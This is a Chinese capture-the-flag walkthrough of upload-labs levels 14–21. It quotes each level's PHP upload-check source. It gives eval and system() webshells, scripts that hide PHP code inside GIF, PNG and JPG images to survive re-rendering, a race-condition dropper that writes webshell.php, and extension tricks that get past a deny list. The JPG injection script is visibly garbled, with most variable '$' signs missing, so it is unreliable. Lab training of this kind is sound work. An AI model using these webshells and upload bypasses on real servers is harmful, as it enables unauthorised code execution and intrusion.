通关upload-labs(14-21)加分析源码

提前准备一张图片就行只要满足格式就行

1.upload-labs14

题目要求:

任务

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

源码如下:

复制代码
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

关键代码:typeCode = intval(strInfo['chars1'].$strInfo['chars2']);

这个代码是可以使用结合文件的方法来上传文件再加上 使用文件包含漏洞能运行图片马中的恶意代码。

这个的话就传参然后使用一句话木码就行:<?php @eval($_POST['pass']);?>

第一个方法:使用命令行语句让图片和代码结合在一起

尝试:copy 111.jpg /b + 111.php /a 新文件.jpg

第二个方法:直接在图片里面加入一句话木马:

尝试:echo "<?php @eval(\$_POST['cmd']); ?>" >> image.jpg

上传后发现上传错误,也可尝试添加文件头:

JPEG 文件头: FF D8 FF E0
PNG 文件头: 89 50 4E 47

上传成功后然后post方法使用文件包含的办法来访问:

我也可以直接在里面换成一句话木马:<?php @eval($_POST['pass']);?>

可以在里面多重复几次:

这个代码就是说get传参file,文件包含file

http://upload-labs:8082/include.php?file=upload/3820251115125321.jpg

2.upload-labs15

题目要求:

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

源码如下:

复制代码
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

 $info = getimagesize($filename);

说明了就是找图像的信息再结合题目要求就是跟14关是一样的

3.upload-labs16

题目要求:

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

源码如下:

复制代码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

$image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    

还是指明图片的信息,那么跟14,15关是一样的

4.upload-labs17

题目要求:

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

源码如下:

复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;

二次渲染安全机制(打散拼接)

这是代码的核心安全特性:

对于每种格式:

  1. 使用GD库函数重新生成图片:

    • JPG: imagecreatefromjpeg() + imagejpeg()

    • PNG: imagecreatefrompng() + imagepng()

    • GIF: imagecreatefromgif() + imagegif()

  2. 删除原始文件:

    复制代码
    @unlink($target_path);  // 删除用户上传的原始文件
  3. 生成随机文件名:

    复制代码
    srand(time());
    $newfilename = strval(rand()).".jpg";

对于这个分别(里面的脚本代码是参考别人的,自己确实比较菜):

gif:

方法就是上传两个文件,然后在010这里找不同然后插入:

然后开始先尝试进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话

在010软件进行比对,可以看到我们打散后的图片的一句话消失了

开始尝试:

上传成功,然后把上传的这个文件和原来的图片码放在010检查

原本的图片码的一句话代码:

上传后的:

然后在里面找到图片没变的位置后面手动加入:

然后在里面加入<?php @eval(\$_POST['cmd']); ?>:

我们继续上传就成功了

或者是用php代码生成:

复制代码
<?php
function createStealthGif($filename, $phpCode) {
    // 使用更隐蔽的方式插入代码 - 在应用扩展块中
    $gif = "GIF89a" .                    // 文件头
        "\x01\x00\x01\x00" .          // 1x1像素
        "\x91\x00\x00" .              // 全局颜色表标志
        "\x00\x00\x00" .              // 像素宽高比
        "\xFF\xFF\xFF" .              // 颜色1: 白色
        "\x00\x00\x00" .              // 颜色2: 黑色
        "\x21\xFF" .                  // 应用扩展块 (比注释扩展更隐蔽)
        "\x0B" .                      // 块大小
        "NETSCAPE2.0" .               // 应用标识
        "\x03\x01" .                  // 子块大小
        "\x00\x00" .                  // 循环次数
        "\x00" .                      // 块结束
        "\x21\xFE" .                  // 注释扩展块
        pack("C", strlen($phpCode)) . // 注释长度
        $phpCode .                    // PHP代码
        "\x00" .                      // 块结束
        "\x2C" .                      // 图像描述符
        "\x00\x00\x00\x00" .          // 图像位置
        "\x01\x00\x01\x00" .          // 图像尺寸
        "\x00" .                      // 无局部颜色表
        "\x02" .                      // LZW最小代码大小
        "\x02" .                      // 数据子块大小
        "\x4C\x01" .                  // 图像数据
        "\x00" .                      // 数据块结束
        "\x3B";                       // GIF结束符

    file_put_contents($filename, $gif);
    echo "隐蔽GIF创建完成: $filename\n";
}

// 使用更简单的PHP代码,避免敏感函数
createStealthGif('31076.gif', '<?php if(isset($_GET["a"]))echo $_GET["a"]; ?>');
?>

隐蔽GIF创建完成: 31076.gif然后上传:

png:

代码:

复制代码
<?php
function createWorkingWebshellPNG($filename) {
    // 创建一个有效的PNG文件,包含正确格式的PHP代码
    $img = imagecreatetruecolor(10, 10);
    $white = imagecolorallocate($img, 255, 255, 255);
    imagefill($img, 0, 0, $white);
    imagepng($img, $filename);
    imagedestroy($img);
    
    // 在文件末尾添加正确格式的PHP代码
    $phpCode = '
<?php
if(isset($_GET["cmd"])) {
    system($_GET["cmd"]);
} elseif(isset($_GET["info"])) {
    phpinfo();
} else {
    echo "PNG Image";
}
?>';
    
    $content = file_get_contents($filename);
    file_put_contents($filename, $content . $phpCode);
    
    echo "修复的Webshell PNG创建成功: $filename\n";
}

createWorkingWebshellPNG('working.png');
?>

得到png图片上传:

jpg:

代码:

<?php

/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

It is necessary that the size and quality of the initial image are the same as those of the processed image.

  1. Upload an arbitrary image via secured files upload script

  2. Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

  1. After the second processing the injected data may become partially corrupted.

  2. The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

}

if(!isset($argv[1])) {

die('php jpg_payload.php <jpg_name.jpg>');

}

set_error_handler("custom_error_handler");

for(pad = 0; pad < 1024; $pad++) {

nullbytePayloadSize = pad;

dis = new DataInputStream(argv[1]);

outStream = file_get_contents(argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {

die('Incorrect SOI marker');

}

while((!dis-\>eof()) \&\& (dis->readByte() == 0xFF)) {

marker = dis->readByte();

size = dis->readShort() - 2;

dis-\>skip(size);

if($marker === 0xDA) {

startPos = dis->seek();

$outStreamTmp =

substr(outStream, 0, startPos) .

$miniPayload .

str_repeat("\0",$nullbytePayloadSize) .

substr(outStream, startPos);

checkImage('_'.argv\[1\], outStreamTmp, TRUE);

if($extraBytes !== 0) {

while((!$dis->eof())) {

if($dis->readByte() === 0xFF) {

if($dis->readByte !== 0x00) {

break;

}

}

}

stopPos = dis->seek() - 2;

imageStreamSize = stopPos - $startPos;

$outStream =

substr(outStream, 0, startPos) .

$miniPayload .

substr(

str_repeat("\0",$nullbytePayloadSize).

substr(outStream, startPos, $imageStreamSize),

0,

nullbytePayloadSize+imageStreamSize-$extraBytes) .

substr(outStream, stopPos);

} elseif($correctImage) {

outStream = outStreamTmp;

} else {

break;

}

if(checkImage('payload_'.argv\[1\], outStream)) {

die('Success!');

} else {

break;

}

}

}

}

unlink('payload_'.$argv[1]);

die('Something\'s wrong');

function checkImage(filename, data, $unlink = FALSE) {

global $correctImage;

file_put_contents(filename, data);

$correctImage = TRUE;

imagecreatefromjpeg($filename);

if($unlink)

unlink($filename);

return $correctImage;

}

function custom_error_handler(errno, errstr, errfile, errline) {

global extraBytes, correctImage;

$correctImage = FALSE;

if(preg_match('/(\d+) extraneous bytes before marker/', errstr, m)) {

if(isset($m[1])) {

extraBytes = (int)m[1];

}

}

}

class DataInputStream {

private $binData;

private $order;

private $size;

public function __construct(filename, order = false, $fromString = false) {

$this->binData = '';

this-\>order = order;

if(!$fromString) {

if(!file_exists(filename) \|\| !is_file(filename))

die('File not exists ['.$filename.']');

this-\>binData = file_get_contents(filename);

} else {

this-\>binData = filename;

}

this-\>size = strlen(this->binData);

}

public function seek() {

return (this-\>size - strlen(this->binData));

}

public function skip($skip) {

this-\>binData = substr(this->binData, $skip);

}

public function readByte() {

if($this->eof()) {

die('End Of File');

}

byte = substr(this->binData, 0, 1);

this-\>binData = substr(this->binData, 1);

return ord($byte);

}

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');

}

short = substr(this->binData, 0, 2);

this-\>binData = substr(this->binData, 2);

if($this->order) {

short = (ord(short[1]) << 8) + ord($short[0]);

} else {

short = (ord(short[0]) << 8) + ord($short[1]);

}

return $short;

}

public function eof() {

return !this-\>binData\|\|(strlen(this->binData) === 0);

}

}

?>

然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件

复制代码
php text.php 12425.jpg

也能成功

5.upload-labs18

题目要求:

上传一个webshell到服务器。

源码如下:

复制代码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

条件竞争他的问题在于先上传后删除 (抓包爆破多尝试然后就能在文件找到了)

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

我们可以将一句话写成下面这句:

<?php file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>'); ?>

保存这个文件然后一直访问直到成功为止:

6.upload-labs19

题目要求:

上传一个webshell到服务器。

源码如下:

复制代码
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

跟18关同理,只不过对文件名有了新的要求:

允许的文件类型
复制代码
var $cls_arr_ext_accepted = array(
    ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", 
    ".zip", ".rar", ".7z", ".ppt", ".html", ".xml", 
    ".tiff", ".jpeg", ".png"
);

上传图片码然后再重复发送直到成功为止

7.upload-labs20

题目要求:

上传一个webshell到服务器。

源码如下:

复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
复制代码
$file_name = $_POST['save_name'];  // 直接从POST获取,可被恶意篡改

利用windows的特性,windows会自动过去掉后缀的点(.)空格和::DATA这些特殊字符,在用户属于的地方以php.结尾,那么就会跳出黑名单

类似于前面几关的文件上传

8.upload-labs21

题目要求:

上传一个webshell到服务器。

源码如下:

复制代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

可以这么理解:

---先检测文件类型mime(白名单);再检测post的文件名,如果不是数组,就explode() 函数把字符串打散为数组。这里以.分割小写的文件名

---再检测文件的后缀(白名单),end返回数组的最后一个元素,即文件后缀。判断后缀是否在白名单内

$file = explode('.', 'lllxxy.jpg');

// 结果: array('lllxxy', 'jpg')

// count($file) = 2

php

file_name = reset(file) . '.' . file\[count(file) - 1];

// = file\[0\] . '.' . file[1]

// = 'lllxxy' . '.' . 'jpg'

// = 'lllxxy.jpg'

开始上传文件:

最后上传成功

相关推荐
JosieBook3 小时前
【Rust】基于Rust 设计开发nginx运行日志高效分析工具
服务器·网络·rust
e***98573 小时前
Nginx搭建负载均衡
运维·nginx·负载均衡
电话交换机IPPBX-3CX4 小时前
电话交换机IPPBX-3CX的呼叫记录导出
运维·服务器·网络
松涛和鸣4 小时前
11.C 语言学习:递归、宏定义、预处理、汉诺塔、Fibonacci 等
linux·c语言·开发语言·学习·算法·排序算法
C-DHEnry6 小时前
Linux 不小心挂载错磁盘导致无法启动系统咋办
linux·运维·服务器·雨云
JosieBook6 小时前
【若依框架】若依前后端分离项目怎么部署到服务器?
运维·服务器
q***7486 小时前
Nginx环境安装
运维·nginx
qinyia7 小时前
使用Wisdom SSH的AI多会话功能进行批量命令执行和跨服务器智能运维
运维·人工智能·ssh
f***68607 小时前
【Sql Server】sql server 2019设置远程访问,外网服务器需要设置好安全组入方向规则
运维·服务器·安全